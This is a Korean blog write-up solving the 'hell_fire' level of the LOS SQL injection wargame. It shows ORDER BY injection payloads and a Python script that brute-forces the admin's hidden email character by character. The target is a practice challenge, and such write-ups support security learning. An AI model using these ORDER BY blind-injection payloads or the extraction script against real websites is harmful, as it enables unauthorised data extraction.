order로 정렬한다.
id email score을 출력하는데 id가 admin이면 email은 ***로 출력된다.
쨌든 admin의 email을 알아내야 하는 것 같은데...
order by 뒤에 or이나 and 넣으면 무슨 일이 일어나는지 모르겠다.
sql 특징 파악하기
?order=id='admin'#
?order=id='rubiya'#
order by 컬럼명 = "~~" => 일치하는게 밑에 출력되는 듯....
order by length(email)=4 라고 하면
다른 값들은 따로 정렬이 안되고 email 길이가 4인 것만 맨 밑으로 출력된다.
order by length(email)=4, id라고 하면
email 길이가 4인 것만 맨 밑으로 출력되고(고정) 나머지들은 id로 정렬된다.
email 길이 알아내기
이를 이용해서 admin의 email 길이를 구하는 방법은
order by length(email)=??, id
- length(email)이 admin의 것과 같다면 admin이 맨 밑에서 출력
- length(email)이 rubiya의 것과 같다면 rubiya가 맨 밑에서 출력
- legnth(email)이 그 누구와도 같지 않다면 id로만 정렬. rubiya가 맨 밑에서 출력
코드는.. 귀찮기 때문에 그냥 계속 해봤다...
?order=length(email)=28,id%23
길이는 28
email 알아내기
import requests
import threading
cookies={"PHPSESSID":""}
roo = "_rubiya805@gmail.cm"
ad_email=""
for i in range(1, 29):
for c in range(33, 128):
url = f"https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php?order=substr(email,{i},1)=char({c}),id%23"
res = requests.get(url, cookies=cookies)
if "100</td></tr><tr><td>admin" in res.text:
ad_email+=chr(c)
break
if i<=18 and c==127:
ad_email+=roo[i]
break
print(ad_email.lower())
output> admin_secure_email@emai1.com
'워게임 > LOS' 카테고리의 다른 글
[**] green_dragon (0) | 2021.10.06 |
---|---|
evil_wizard (0) | 2021.10.06 |
dark_eyes(error based sqli 심화) (0) | 2021.10.05 |
iron_golem(참 거짓을 판별할 수 없는 blind sqli) (0) | 2021.10.05 |
dragon (0) | 2021.10.04 |
댓글